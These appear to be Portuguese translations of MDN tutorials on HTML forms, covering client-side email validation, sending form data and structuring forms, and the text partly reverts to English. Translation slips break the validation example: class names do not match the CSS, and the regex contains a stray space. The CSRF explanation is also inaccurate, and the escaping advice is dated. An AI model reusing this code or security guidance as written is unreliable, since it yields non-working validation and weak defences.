Inline em Formulários da Web\n\n#### Um exemplo que não usa a API de validação de restrição\n\nPara ilustrar isso, vamos reconstruir o exemplo anterior para que funcione com navegadores legados:\n\n\n```html\n<form>\n  <p>\n    <label for=\"mail\">\n      <span>Por favor, insira um endereço de e-mail:</span>\n      <input type=\"text\" class=\"mail\" id=\"mail\" name=\"mail\" />\n      <span class=\"error\" aria-live=\"polite\"></span>\n    </label>\n  </p>\n\n  <p>\n    <!-- Alguns navegadores legados precisam ter o atributo `type`\n explicitamente definido como `submit` no elemento `button` -->\n    <button type=\"submit\">Enviar</button>\n  </p>\n</form>\n```\n\n\nComo você pode ver, o HTML é quase o mesmo; acabamos de remover os recursos de validação HTML. Observe que ARIA (en-US) é uma especificação independente que não está especificamente relacionada ao HTML5.\n\n##### CSS\n\nDa mesma forma, o CSS não precisa mudar muito; apenas transformamos a pseudo-classe CSS `:invalid` em uma classe real e evitamos usar o seletor de atributos que não funciona no Internet Explorer 6.\n\n\n```css\n/\\* Isso é apenas para tornar o exemplo mais agradável \\*/\nbody {\n  font: 1em sans-serif;\n  padding: 0;\n  margin: 0;\n}\n\nform {\n  max-width: 200px;\n}\n\np \\* {\n  display: block;\n}\n\ninput.mail {\n  -webkit-appearance: none;\n\n  width: 100%;\n  border: 1px solid #333;\n  margin: 0;\n\n  font-family: inherit;\n  font-size: 90%;\n\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n}\n\n/\\* Este é o nosso estilo para os campos inválidos \\*/\ninput.invalid {\n  border-color: #900;\n  background-color: #fdd;\n}\n\ninput:focus.invalid {\n  outline: none;\n}\n\n/\\* Este é o estilo das nossas mensagens de erro \\*/\n.error {\n  width: 100%;\n  padding: 0;\n\n  font-size: 80%;\n  color: white;\n  background-color: #900;\n  border-radius: 0 0 5px 5px;\n\n  -moz-box-sizing: border-box;\n  box-sizing: border-box;\n}\n\n.error.active {\n  padding: 0.3em;\n}\n```\n\n\n##### JavaScript\n\nAs grandes mudanças estão no código JavaScript, que precisa fazer muito mais trabalho pesado.\n\n\n```js\n// Há menos maneiras de escolher um nó DOM com navegadores legados\nconst form = document.getElementsByTagName(\"form\")[0];\nconst email = document.getElementById(\"mail\");\n\n// O seguinte é um truque para alcançar o próximo nó Elemento irmão no DOM\n// Isso é perigoso porque você pode facilmente construir um loop infinito.\n// Em navegadores modernos, você deve preferir usar element.nextElementSibling\nlet error = email;\nwhile ((error = error.nextSibling).nodeType != 1);\n\n// De acordo com a especificação HTML5\nvar emailRegExp =\n  /^[a-zA-Z0-9.!#$%&'\\*+/=?^\\_`{|}~-]+@[a-zA-Z0-9-]+(?: \\.[a-zA-Z0-9-]+)\\*$/;\n\n// Muitos navegadores legados não suportam o método addEventListener.\n// Aqui está uma maneira simples de lidar com isso; está longe de ser o único.\nfunction addEvent(element, event, callback) {\n  var previousEventCallBack = element[\"on\" + event];\n  element[\"on\" + event] = function (e) {\n    var output = callback(e);\n\n    // Um retorno de chamada que retorna `false` interrompe a cadeia de retorno de chamada\n    // e interrompe a execução do callback do evento.\n    if (output === false) return false;\n\n    if (typeof previousEventCallBack === \"function\") {\n      output = previousEventCallBack(e);\n      if (output === false) return false;\n    }\n  };\n}\n\n// Agora podemos reconstruir nossa restrição de validação\n// Como não dependemos da pseudo-classe CSS, temos que\n// define explicitamente a classe valid/invalid em nosso campo de email\naddEvent(window, \"load\", function () {\n  // Here, we test if the field is empty (remember, the field is not required)\n  // If it is not, we check if its content is a well-formed e-mail address.\n  var test = email.value.length === 0 || emailRegExp.test(email.value);\n\n  email.className = test ? \"válido\" : \"inválido\";\n});\n\n// Isso define o que acontece quando o usuário digita no campo\naddEvent(email, \"input\", function () {\n  var test = email.value.length === 0 || emailRegExp.test(email.value);\n  if (test) {\n    email.className = \"válido\";\n    error.innerHTML = \"\";\n    error.className = \"error\";\n  } else {\n    email.className = \"inválido\";\n  }\n});\n\n// Isso define o que acontece quando o usuário tenta enviar os dados\naddEvent(form, \"submit\", function () {\n  var test = email.value.length === 0 || emailRegExp.test(email.value);\n\n  if (!test) {\n    email.className = \"inválido\";\n    error.innerHTML = \"Espero um e-mail, querida!\";\n    error.className = \"error active\";\n\n    // Alguns navegadores legados não suportam o método method\n    return false;\n  } else {\n    email.className = \"valid\";\n    error.innerHTML = \"\";\n    error.className = \"error\";\n  }\n});\n```\n\n\nO resultado fica assim:\n\nComo você pode ver, não é issodifícil construir um sistema de validação por conta própria. A parte difícil é torná-lo genérico o suficiente para usá-lo em várias plataformas e em qualquer formulário que você possa criar. Existem muitas bibliotecas disponíveis para realizar a validação de formulários; você não deve hesitar em usá-los. Aqui estão alguns exemplos:\n\n* Biblioteca independente\n    + Validate.js\n* plug-in jQuery:\n    + Validação\n\n#### Validação remota\n\nEm alguns casos, pode ser útil realizar alguma validação remota. Esse tipo de validação é necessário quando os dados inseridos pelo usuário estão vinculados a dados adicionais armazenados no lado do servidor de sua aplicação. Um caso de uso para isso são os formulários de registro, onde você solicita um nome de usuário. Para evitar a duplicação, é mais inteligente realizar uma solicitação AJAX para verificar a disponibilidade do nome de usuário em vez de pedir ao usuário que envie os dados e, em seguida, envie o formulário com um erro.\n\nA realização de tal validação requer algumas precauções:\n\n* Requer expor uma API e alguns dados publicamente; certifique-se de que não são dados confidenciais.\n* O atraso de rede requer a execução de validação assíncrona. Isso requer algum trabalho de interface do usuário para garantir que o usuário não seja bloqueado se a validação não for realizada corretamente.\nConclusão\n---------\n\nA validação de formulário não requer JavaScript complexo, mas requer pensar cuidadosamente sobre o usuário. Lembre-se sempre de ajudar seu usuário a corrigir os dados que ele fornece. Para isso, certifique-se de:\n\n* Exibir mensagens de erro explícitas.\n* Seja permissivo quanto ao formato de entrada.\n* Indique exatamente onde ocorre o erro (especialmente em formulários grandes).\n* Anterior  (en-US)\n* Menu: Forms (en-US)\n* Próxima  (en-US)"}
{"title":"Sending form data - Aprendendo desenvolvimento web","text":"Sending form data\n=================\n\nEm muitos casos, a finalidade de HTML Form (en-US) Um é enviar dados para um servidor. O servidor processa os dados e envia uma resposta ao usuário. Isso parece simples, mas é importante manter algumas coisas em mente para garantir que os dados não danifiquem o servidor ou causem problemas para seus usuários.\n\nPara onde vão os dados?\n-----------------------\n\nAqui nós discutiremos o que acontece com os dadosquando um formulário é enviado.\n\n### Sobre a arquitetura cliente / servidor\n\nA web é baseada em uma arquitetura cliente / servidor muito básica que pode ser resumida da seguinte forma: um cliente (normalmente um navegador da Web) envia um pedido a um servidor (na maioria das vezes um servidor web como Apache, Nginx, IIS, Tomcat, etc.), usando o HTTP protocol (en-US). O servidor responde a solicitação usando o mesmo protocolo.\n\n![A basic schema of the Web client/server architecture](/files/4291/client-server.png)\n\nNo lado do cliente, um formulário HTML é nada mais do que uma maneira conveniente e amigável para configurar uma solicitação HTTP para enviar dados para um servidor. Isso permite que o usuário forneça informações a serem entregues na solicitação HTTP.\n\n### No lado do cliente: definindo como enviar os dados\n\nO elemento `<form>` (en-US) define como os dados serão enviados. Todos os seus atributos são projetados para permitir que você configure o pedido a ser enviado quando um usuário acessa um botão de envio. Os dois atributos mais importantes são:`action` (en-US) e `method` (en-US).\n\n#### o atributo `action` (en-US)\n\nEste atributo define para onde os dados são enviados. Seu valor deve ser um URL válido. Se esse atributo não for fornecido, os dados serão enviados para o URL da página que contém o formulário.\n\n##### Exemplos\n\nNeste exemplo, os dados são enviados para `http://foo.com`:\n\n\n```html\n<form action=\"http://foo.com\"></form>\n```\n\n\nAqui, os dados são enviados para o mesmo servidor que hospeda a página do formulário, mas para um URL diferente no servidor:\n\n\n```html\n<form action=\"/somewhere\\_else\"></form>\n```\n\n\nQuando especificado sem atributos, como abaixo, o atributo `<form>` (en-US) faz com que os dados sejam enviados para a página que inclui o formulário:\n\n\n```html\n<form></form>\n```\n\n\nMuitas páginas mais antigas usam a seguinte notação para indicar que os dados devem ser enviados para a mesma página que contém o formulário; Isso era necessário porque até HTML5, o atributo `action` (en-US) era obrigatório. Isso não é mais necessário.\n\n\n```html\n<form action=\"#\"></form>\n```\n\n\n**Nota:** **Nota: É possível especificar um URL que use o protocolo HTTPS (HTTP seguro). Quando você fizer isso, os dados são criptografados junto com o resto da solicitação, mesmo se o formulário em si é hospedado em uma página insegura acessada usando HTTP. Por outro lado, se o formulário estiver hospedado na página segura, mas você especificar um URL HTTP inseguro com o atributo `action` (en-US), todos os navegadores exibirão um aviso de segurança para o usuário cada vez que Tente enviar dados porque os dados não serão criptografados.**\n\n#### o atributo `method` (en-US)\n\nEste atributo define como os dados são enviados. o HTTP protocol (en-US)\n\nFornece várias maneiras de executar um pedido; Os dados de formulários HTML podem ser enviados através de pelo menos dois deles: o método GET eo método POST.\n\nPara entender a diferença entre esses dois métodos, vamos dar um passo atrás e examinar como funciona o HTTP. Cada vez que você deseja acessar um recurso na Web, o navegador envia uma solicitação para um URL. Uma solicitação HTTP consiste em duas partes: um cabeçalho que contém um conjunto de metadados globais sobre as capacidades do navegador e um corpo que pode conter informações necessárias ao servidor para processar a solicitação específica.\n\n##### O método GET\n\nO método GET é o método usado pelo navegador para pedir ao servidor para enviar de volta um determinado recurso: \"Hey servidor, eu quero obter este recurso.\" Nesse caso, o navegador envia um corpo vazio. Como o corpo está vazio, se um formulário é enviado usando esse método, os dados enviados para o servidor são anexados ao URL.\n\n###### Exemplo\n\nConsidere o seguinte formulário:\n\n\n```html\n<form action=\"http://foo.com\" method=\"get\">\n  <input name=\"say\" value=\"Hi\" />\n  <input name=\"to\" value=\"Mom\" />\n  <button>Envie meus cumprimentos</button>\n</form>\n```\n\n\nCom o método GET, a solicitação HTTP tem esta aparência:\n```\n\nGET /?say=Hi&to=Mom HTTP/1.1\nHost: foo.com\n```\n\n\n##### O método POST\n\nO método POST é um pouco diferente. É o método que o navegador envia ao servidor para pedir uma resposta que leva em conta os dados fornecidos no corpo da solicitação HTTP: \"Hey servidor, dê uma olhada nesses dados e envie-me de volta um resultado apropriado\". Se um formulário é enviado usando esse método, os dados são anexados ao corpo do pedido HTTP.\n\n###### Exemplo\n\nConsidere esta forma (a mesma acima):\n\n\n```html\n<form action=\"http://foo.com\" method=\"post\">\n  <input name=\"say\" value=\"Hi\" />\n  <input name=\"to\" value=\"Mom\" />\n  <button>Send my greetings</button>\n</form>\n```\n\n\nQuando enviado usando o método POST, o pedido HTTP se parece com isto:\n```\n\nPOST / HTTP/1.1\nHost: foo.com\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 13\n\nsay=Hi&to=Mom\n```\n\n\nO cabeçalho Content-Length indica o tamanho do corpo eo cabeçalho Content-Type indica o tipo de recurso enviado para o servidor. Vamos discutir esses cabeçalhos em um pouco.\n\nObviamente, as solicitações HTTP nunca são exibidas para o usuário (se você quiser vê-las, você precisa usar ferramentas como o Firefox Web Console ou o Chrome Developer Tools). A única coisa exibida para o usuário é o URL chamado. Assim, com uma solicitação GET, o usuário verá os dados em sua barra de URL, mas com uma solicitação POST, eles não. Isso pode ser muito importante por duas razões:\n\n1. Se você precisar enviar uma senha (ou qualquer parte sensível de dados), nunca use o método GET ou corre o risco de exibi-lo na barra de URL.\n2. Se você precisar enviar uma grande quantidade de dados, o método POST é preferido porque alguns navegadores limitam o tamanho dos URLs. Além disso, muitos servidores limitam o comprimento dos URLs que aceitam.\n### No lado do servidor: recuperar os dados\n\nSeja qual for o método HTTP escolhido, o servidor recebe uma string que será analisada para obter os dados como uma lista de pares chave / valor. A maneira como você acessa essa lista depende da plataforma de desenvolvimento que você usa e de quaisquer frameworks específicos que você possa usar com ele. A tecnologia que você usa também determina como as chaves duplicadas são manipuladas; Freqüentemente, o valor recebido mais recentemente para uma determinada chave recebe prioridade.\n\n#### Exemplo: PHP Bruto\n\nO PHP oferece alguns objetos globais para acessar os dados. Supondo que você tenha usado o método POST, o exemplo a seguir apenas leva os dados e exibe-o para o usuário. Claro, o que você faz com os dados depende de você. Você pode exibi-lo, armazená-lo em um banco de dados, enviá-los por e-mail, ou processá-lo de alguma outra maneira.\n\n\n```php\n<?php\n // The global $\\_POST variable allows you to access the data sent with the POST method\n // To access the data sent with the GET method, you can use $\\_GET\n $say = htmlspecialchars($\\_POST['say']);\n $to = htmlspecialchars($\\_POST['to']);\n\n echo $say, ' ', $to;\n```\n\n\nEste exemplo exibe uma página com os dados enviados. Em nosso exemplo de antes, a saída seria:\n```\n\nOi Mãe\n```\n\n\n#### Example: Python Bruto\n\nThis example uses Python to do the same thing--display the provided data on a web page. It uses the CGI Python package to access the form data.\n\n\n```python\n#!/usr/bin/env python\nimport html\nimport cgi\nimport cgitb; cgitb.enable()     # for troubleshooting\n\nprint(\"Content-Type: text/html\") # HTTP header to say HTML is following\nprint()                          # blank line, end of headers\n\nform = cgi.FieldStorage()\nsay  = html.escape(form[\"say\"].value);\nto   = html.escape(form[\"to\"].value);\n\nprint(say, \" \", to)\n```\n\n\nO resultado é o mesmo que com o PHP:\n```\n\nOi Mãe\n```\n\n\n#### Outros idiomas e frameworks\n\nHá muitas outras tecnologias do lado do servidor que você pode usar para o tratamento de formulários, incluindo Perl, Java, .Net, Ruby, etc. Basta escolher o que você mais gosta. Dito isto, é importante notar que é muito incomum usar essas tecnologias diretamente porque isso pode ser complicado. É mais comum usar um dos muitos frameworks agradáveis que facilitam o manuseio de formulários, como:\n\n* Symfony Para PHP\n* Django Para Python\n* Ruby On Rails Para Ruby\n* Grails Para Java\n* etc.\n\nVale a pena notar que mesmo usando essas estruturas, trabalhar com formulários não é necessariamente fácil. Mas é muito melhor, e você vai economizar muito tempo.\n\nUm caso especial: enviar arquivos\n---------------------------------\n\nArquivos são um caso especial com formulários HTML. Eles são dados binários - ou considerados como tal - onde todos os outros dados são dados de texto. Porque HTTP é um protocolo de texto, há requisitos especiais para manipular dados binários.\n\n### o `enctype` (en-US) atributo\n\nEsse atributo permite especificar o valor do cabeçalho HTTP Content-Type. Este cabeçalho é muito importante porque informa ao servidor que tipo de dados está sendo enviado. Por padrão, seu valor é application / x-www-form-urlencoded. Em termos humanos, isso significa: \"Este é o formulário de dados que foi codificado em forma de URL.\"\n\nMas se você quiser enviar arquivos, você precisa fazer duas coisas:\n\n* Colocou o `method` (en-US) Atributo para POST porque o conteúdo do arquivo não pode ser colocado dentro de um parâmetro de URL usando um formulário.\n* Defina o valor de `enctype` (en-US) Para multipart / form-data porque os dados serão divididos em várias partes, uma para cada arquivo mais uma para o texto do corpo do formulário que pode ser enviado com eles.\n\nPor exemplo:\n\n\n```html\n<form method=\"post\" enctype=\"multipart/form-data\">\n  <input type=\"file\" name=\"myFile\" />\n  <button>Send the file</button>\n</form>\n```\n\n\n**Nota:** **Nota: Alguns navegadores suportam**`multiple` Atributo no `<input>` Elemento para enviar mais de um arquivo com apenas um elemento de entrada. Como o servidor lida com esses arquivos realmente depende da tecnologia usada no servidor. Como mencionado anteriormente, usando um quadro fará sua vida muito mais fácil.\n\n**Aviso:** **Aviso: Muitos servidores são configurados com um limite de tamanho para arquivos e solicitações HTTP, a fim de evitar abusos. É importante verificar esse limite com o administrador do servidor antes de enviar um arquivo.**\n\nPreocupações com segurança\n--------------------------\n\nCada vez que você envia dados para um servidor, você precisa considerar a segurança. Formulários HTML são um dos primeiros vetores de ataque contra servidores. Os problemas nunca vêm dos formulários HTML em si; Eles vêm de como o servidor manipula dados.\n\n### Falhas de segurança comuns\n\nDependendo do que você está fazendo, existem alguns problemas de segurança muito conhecidos:\n\n#### XSS e CSRF\n\nCross-Site Scripting (XSS) e Cross-Site Request Forgery (CSRF) são tipos comuns de ataques que ocorrem quando você exibe dados enviados por um usuário para o usuário ou para outro usuário.\n\nO XSS permite que os invasores injetem scripts do lado do cliente em páginas da Web vistas por outros usuários. Uma vulnerabilidade de scripts entre sites pode ser usada por atacantes para ignorar controles de acesso, como o same origin policy (en-US). O efeito desses ataques pode variar de um pequeno incômodo a um risco de segurança significativo.\n\nCSRF são semelhantes aos ataques XSS, já que eles começam da mesma maneira - injetando script do lado do cliente em páginas da Web - mas seu destino é diferente. Os invasores do CSRF tentam aumentar os privilégios para aqueles de um usuário com privilégios mais altos (como um administrador do site) para executar uma ação que não deve ser capaz de fazer (por exemplo, enviar dados para um usuário não confiável).\n\nOs ataques XSS exploram a confiança que um usuário tem para um site, enquanto os ataques CSRF exploram a confiança que um site tem para seus usuários.\n\nTo prevent these attacks, you should always check the data a user sends to your server and (if you need to display it) try not to display the HTML content as provided by the user. Intead, you should process the user-provided data so you don't display it verbatim. Almost all frameworks on the market today implement a minimal filter that removes the HTML `<script>`, `<iframe>` and `<object>` (en-US) elements from data sent by any user. This helps to mitigate the risk, but doesn't necessarily eradicate it.\n\n#### SQL injection\n\nSQL injection is a type of attack that tries to perform actions on a database used by the target web site. This typically involves sending an SQL request in the hope that the server will execute it (many times when the application server tries to store the data). This is actually one of the main vector attacks against web sites.\n\nThe consequences can be terrible, ranging from data loss to access to a whole infrastructure by using privilege escalation. This is a very serious threat and you should never store data sent by a user without performing some sanitization (for example, by using `mysql_real_escape_string()` on a PHP/MySQL infrastructure).\n\n#### HTTP header injection and email injection\n\nThese kinds of attacks can occur when your application builds HTTP headers or emails based on the data input by a user on a form. These won't directly damage your server or affect your users, but they are an open door to deeper problems such as session hijacking or phishing attacks.\n\nThese attacks are mostly silent, and can turn your server into a zombie.\n\n### Be paranoid: Never trust your users\n\nSo, how do you fight these threats? This is a topic far beyond this guide, but there are a few rules to keep in mind. The most important rule is: never ever trust your users, including yourself; even a trusted user could have been hijacked.\n\nAll data that comes to your server must be checked and sanitized. Always. No exception.\n\n* Escape potentially dangerous characters. The specific characters you should be cautious with vary depending on the context in which the data is used and the server platform you employ, but all server-side languages have functions for this.\n* Limit the incoming amount of data to allow only what's necessary.\n* Sandbox uploaded files (store them on a different server and allow access to the file only through a different subdomain or even better through a fully different domain name).\n\nYou should avoid many/most problems if you follow these three rules, but it's always a good idea to get a security review performed by a competent third party. Don't assume that you've seen all the possible problems.\n\nConclusion\n----------\n\nAs you can see, sending form data is easy, but securing an application can be tricky. Just remember that a front-end developer is not the one who should define the security model of the data. Yes, as we'll see, it's possible to perform client side data validation (en-US) but the server can't trust this validation because it has no way to truly know what really happens on the client side.\n\nSee also\n--------\n\nIf you want to learn more about securing a web application, you can dig into these resources:\n\n* The Open Web Application Security Project (OWASP)\n* Chris Shiflett's blog about PHP Security"}
{"title":"Como estruturar um formulário HTML - Aprendendo desenvolvimento web","text":"Como estruturar um formulário HTML\n==================================\n\n* Anterior  (en-US)\n* Menu: Forms (en-US)\n* Próxima  (en-US)\n\nCom o básico fora do caminho, podemos olhar melhor para os elementos utilizados, a fim de entender as diferentes partes de um formulário.\n\n|  |  |\n| --- | --- |\n| Pré-Requisitos: | \n Leitura sobre computação básica e\n entendimento básico de HTML. |\n| Objetivo: | \n Entender como estruturar formulários HTML e entregar a eles semântica de\n forma a torná-los úteis e acessíveis.\n  |\n\nA flexibilidade dos formulários HTML fazem com que sejam uma das estruturas mais complexas do HTML, você pode construir qualquer tipo básico de formulário usando elementos e atributos exclusivos de formulários. Assim, usar a estrutura correta ao criar um formulário HTML o ajudará a garantir que o formulário seja utilizável e acessível.\n\nO elemento <form>\n-----------------\n\nO elemento `<form>` (en-US) é o elemento que formalmente define o formulário e os atributos que definem a maneira como esse formulário se comporta. Sempre que você desejar criar um formulário HTML, você deve iniciá-lo usando este elemento, colocando todo o conteúdo dentro deste. Muitas tecnologias assistivas ou plugins de navegadores são capazes de descobrir elemetos `<form>` (en-US) e de implementar ganchos especiais para torná-los mais fáceis de usar.\n\nNós já vimos isto em um artigo anterior:\n\n**Nota:** É estritamente proíbido aninhar um formulário dentro de outro formulário. Isto pode fazer com que os formulários se comportem de maneira imprevisível baseada no navegador que está sendo utilizado.\n\nNote que, sempre é possível usar um widget de formulário fora de um elemento `<form>` (en-US) mas se o fizer, o widget não terá nada a ver com o formulário. Estes widgets podem ser usados fora de um formulário, mas para tanto você deverá ter um plano especial para eles, pois este não farão nada por si próprios. Você terá de controlar o comportamento deles através de JavaScript.\n\n> \n> \\*\\*Nota:\\*\\*O HTML 5 introduziu o atributo `form` no grupo de elementos de formulários em HTML. Ele deve deixá-lo atrelar explícitamente um elemento com um form mesmo se não estiver dentro de um `<form>` (en-US). Infelizmente, devido ao tempo de vida, essa implementação ainda pelos navegadores ainda não é boa o suficiente para se confiar nela.\n> \n> \n> \n\nOs elementos <fieldset> e <legend>\n----------------------------------\n\nO elemento `<fieldset>` é uma maneira conveniente de criar grupos de widgets que compartilham o mesmo propósito. Um elemento `<fieldset>` pode ser rotulado com um elemento `<legend>`. O elemento `<legend>` descreve formalmente a finalidade do elemento `<fieldset>` ao qual está incluído.\n\nMuitas tecnologias assistivas usarão o elemento `<legend>` como se fosse parte da etiqueta de cada widget dentro do elemento `<fieldset>` correspondente. Por exemplo, alguns leitores de tela, como Jaws ou NVDA, pronunciarão o conteúdo da legenda antes de pronunciar o rótulo de cada widget.\n\nAqui está um pequeno exemplo:\n\n\n```html\n<form>\n  <fieldset>\n    <legend>Fruit juice size</legend>\n    <p>\n      <input type=\"radio\" name=\"size\" id=\"size\\_1\" value=\"small\" />\n      <label for=\"size\\_1\">Small</label>\n    </p>\n    <p>\n      <input type=\"radio\" name=\"size\" id=\"size\\_2\" value=\"medium\" />\n      <label for=\"size\\_2\">Medium</label>\n    </p>\n    <p>\n      <input type=\"radio\" name=\"size\" id=\"size\\_3\" value=\"large\" />\n      <label for=\"size\\_3\">Large</label>\n    </p>\n  </fieldset>\n</form>\n```\n\n\nCom este exemplo, um leitor de tela pronunciará \"Fruit juice size small\" para o primeiro widget, \"Fruit juice size medium\" para o segundo, e \"Fruit juice size large\" para o terceiro.\n\nO caso de uso neste exemplo é um dos mais importantes. Cada vez que você tiver um conjunto de botões de opção, você deve ter certeza de que eles estão aninhados dentro de um elemento `<fieldset>`. Existem outros casos de uso e, em geral, o elemento `<fieldset>` também pode ser usado para conferir acessibilidade a um formulário. Devido à sua influência sobre a tecnologia assistiva, o elemento `<fieldset>` é um dos elementos-chave para a construção de formulários acessíveis. No entanto, é sua responsabilidade não abusá-lo. Se possível, cada vez que você criar um formulário, tente ouvir como o leitor de tela o interpreta. Se parecer estranho, é uma boa sugestão de que sua estrutura de formulário precisa ser melhorada.\n\nO elemento <label>\n------------------\n\nComo vimos no artigo anterior, o elemento `<label>` é a maneira formal de definir um rótulo para um widget de formulário HTML. Esse é o elemento mais importante se você quiser criar formulários acessíveis - quando implementados corretamente, os leitores de tela falarão o rótulo de um elemento de formulário juntamente com as instruções relacionadas. Veja este exemplo, que vimos no artigo anterior:\n```\n\n<label for=\"name\">Name:</label> <input type=\"text\" id=\"name\" name=\"user_name\">\n```\n\n\nCom o <label> associado corretamente ao <input> por meio de seus atributos 'for' e 'id' respectivamente (o 'label' do atributo faz referência ao atributo id do widget correspondente), um leitor de tela lerá algo como \"Nome, editar texto\".\n\nSe o 'label' não estiver configurado corretamente, um leitor de tela só lerá algo como \"Editar texto em branco\", o que não é muito útil.\n\nObserve que um widget pode ser aninhado dentro de seu elemento <label>, assim:\n```\n\n<label for=\"name\">\n  Name: <input type=\"text\" id=\"name\" name=\"user_name\">\n</label>\n```\n\n\nMesmo nesses casos, entretanto, é considerada a melhor prática definir o atributo 'for' porque algumas tecnologias assistivas não entendem os relacionamentos implícitos entre labels e widgets.\n\n### Labels são clicáveis também!\n\nOutra vantagem de configurar 'labels' adequadamente é que você pode clicar no label para ativar o widget correspondente, em todos os navegadores. Isso é útil para exemplos como entradas de texto, onde você pode clicar no label, bem como na entrada para focalizá-lo, mas é especialmente útil para botões de opção e caixas de seleção - a área de acerto de tal controle pode ser muito pequena, então é útil para torná-lo o maior possível.\n\nPor exemplo:\n```\n\n<form>\n  <p>\n    <label for=\"taste_1\">I like cherry</label>\n    <input type=\"checkbox\" id=\"taste_1\" name=\"taste_cherry\" value=\"1\">\n  </p>\n  <p>\n    <label for=\"taste_2\">I like banana</label>\n    <input type=\"checkbox\" id=\"taste_2\" name=\"taste_banana\" value=\"2\">\n  </p>\n</form>\n```\n\n\n**Nota:** **Nota: Você pode encontrar este exemplo em** checkbox-label.html (ver ao vivo também).\n\n### Múltiplos labels\n\nEstritamente falando, você pode colocar vários rótulos em um único widget, mas isso não é uma boa ideia, pois algumas tecnologias de assistência podem ter problemas para lidar com eles. No caso de vários rótulos, você deve aninhar um widget e seus rótulos dentro de um único elemento `<label>`.\n\nVamos considerar este exemplo:\n```\n\n<p>Required fields are followed by <abbr title=\"required\">*</abbr>.</p>\n\n<!-- So this: -->\n<div>\n  <label for=\"username\">Name:</label>\n  <input type=\"text\" name=\"username\">\n  <label for=\"username\"><abbr title=\"required\">*</abbr></label>\n</div>\n\n<!-- would be better done like this: -->\n<div>\n  <label for=\"username\">\n    <span>Name:</span>\n    <input id=\"username\" type=\"text\" name=\"username\">\n    <abbr title=\"required\">*</abbr>\n  </label>\n</div>\n\n<!-- But this is probably best: -->\n<div>\n  <label for=\"username\">Name: <abbr title=\"required\">*</abbr></label>\n  <input id=\"username\" type=\"text\" name=\"username\">\n</div>\n```\n\n\nThe paragraph at the top defines the rule for required elements. It must be at the beginning to make sure that assistive technologies such as screen readers will display or vocalize it to the user before they find a required element. That way, they will know what the asterisk means. A screen reader will speak the star as \"*star*\" or \"*required*\", depending on the screen reader's settings — in any case, what will be spoken is made clear in the first paragraph).\n\n* In the first example, the label is not read out at all with the input — you just get \"edit text blank\", plus the actual labels are read out separately. The multiple `<label>`elements confuse the screenreader.\n* In the second example, things are a bit clearer — the label read out along with the input is \"name star name edit text\", and the labels are still read out separately. Things are still a bit confusing, but it's a bit better this time because the input has a label associated with it.\n* The third example is best — the actual label is read out all together, and the label read out with the input is \"name star edit text\".\n\n**Nota:** You might get slightly different results, depending on your screenreader. This was tested in VoiceOver (and NVDA behaves similarly). We'd love to hear about your experiences too.\n\n**Note**: You can find this example on GitHub as required-labels.html (see it live also). don't run the example with 2 or 3 of the versions uncommented — screenreaders will definitely get confused if you have multiple labels AND multiple inputs with the same ID!\n\nEstruturas comuns HTML usadas com formulários\n---------------------------------------------\n\nAlém das estruturas específicas dos formulários HTML, é bom lembrar que os formulários são apenas HTML. Isso significa que você pode usar todo o poder do HTML para estruturar um formulário HTML.\n\nComo você pode ver nos exemplos, é comum envolver um *label* e seu *widget* com um elemento `<div>`. Os elementos `<p>` também são comumente usados, assim como as listas HTML (a última é mais comum para estruturar vários *checkboxes* ou *radio buttons*).\n\nAlém do elemento `<fieldset>`, uma prática comum também é usar títulos HTML (por exemplo, `<h1>` (en-US), `<h2>` (en-US)) e seção (por exemplo, `<section>`) para estruturar um formulário complexo.\n\nAcima de tudo, cabe a você encontrar um estilo com o qual você acha confortável codificar e que também resulte em formulários acessíveis e utilizáveis.\n\nTemos cada seção desacoplada da funcionalidade contida nos elementos de `<section>` e um `<fieldset>` para conter os *radio buttons*.\n\n### Active learning: building a form structure\n\nLet's put these ideas into practice and build a slightly more involved form structure — a payment form. This form will contain a number of widget types that you may not yet understand — don't worry about this for now; you'll find out how they work in the next article (The native form widgets (en-US)). For now, read the descriptions carefully as you follow the below instructions, and start to form an appreciation of which wrapper elements we are using to structure the form, and why.\n\n1. To start with, make a local copy of our blank template file and the CSS for our payment form in a new directory on your computer.\n2. First of all, apply the CSS to the HTML by adding the following line inside the HTML `<head>`:\n\n```html\n<link href=\"payment-form.css\" rel=\"stylesheet\" />\n```\n\n3. Next, start your form off by adding the outer `<form>` (en-US) element:\n\n```html\n<form></form>\n```\n\n4. Inside the `<form>` tags, start by adding a heading and paragraph to inform users how required fields are marked:\n\n```html\n<h1>Payment form</h1>\n<p>\n  Required fields are followed by\n  <strong><abbr title=\"required\">*</abbr></strong\n >.\n</p>\n```\n\n5. Next we'll add a larger section of code into the form, below our previous entry. Here you'll see that we are wrapping the contact information fields inside a distinct `<section>` element. Moreover, we have a set of two radio buttons, each of which we are putting inside its own list (`<li>`) element. Last, we have two standard text `<input>`s and their associated `<label>` elements, each contained inside a `<p>`, plus a password input for entering a password. Add this code to your form now:\n\n```html\n<section>\n  <h2>Contact information</h2>\n  <fieldset>\n    <legend>Title</legend>\n    <ul>\n      <li>\n        <label for=\"title\\_1\">\n          <input type=\"radio\" id=\"title\\_1\" name=\"title\" value=\"M.\" />\n          Mister\n        </label>\n      </li>\n      <li>\n        <label for=\"title\\_2\">\n          <input type=\"radio\" id=\"title\\_2\" name=\"title\" value=\"Ms.\" />\n          Miss\n        </label>\n      </li>\n    </ul>\n  </fieldset>\n  <p>\n    <label for=\"name\">\n      <span>Name: </span>\n      <strong><abbr title=\"required\">*</abbr></strong>\n    </label>\n    <input type=\"text\" id=\"name\" name=\"username\" />\n  </p>\n  <p>\n    <label for=\"mail\">\n      <span>E-mail: </span>\n      <strong><abbr title=\"required\">*</abbr></strong>\n    </label>\n    <input type=\"email\" id=\"mail\" name=\"usermail\" />\n  </p>\n  <p>\n    <label for=\"pwd\">\n      <span>Password: </span>\n      <strong><abbr title=\"required\">*</abbr></strong>\n    </label>\n    <input type=\"password\" id=\"pwd\" name=\"password\" />\n  </p>\n</section>\n```\n\n6. Now we'll turn to the second `<section>` of our form — the payment information. Here we have three distinct widgets along with their labels, each contained inside a `<p>`. The first is a drop down menu (`<select>`) for selecting credit card type. the second is an `<input>` element of type number, for entering a credit card number. The last one is an `<input>` element of type `date`, for entering the expiration date of the card (this one will come up with a date picker widget in supporting browsers, and fall back to a normal text input in non-supporting browsers). Again, enter the following below the previous section:\n\n```html\n<section>\n  <h2>Payment information</h2>\n  <p>\n    <label for=\"card\">\n      <span>Card type:</span>\n    </label>\n    <select id=\"card\" name=\"usercard\">\n      <option value=\"visa\">Visa</option>\n      <option value=\"mc\">Mastercard</option>\n      <option 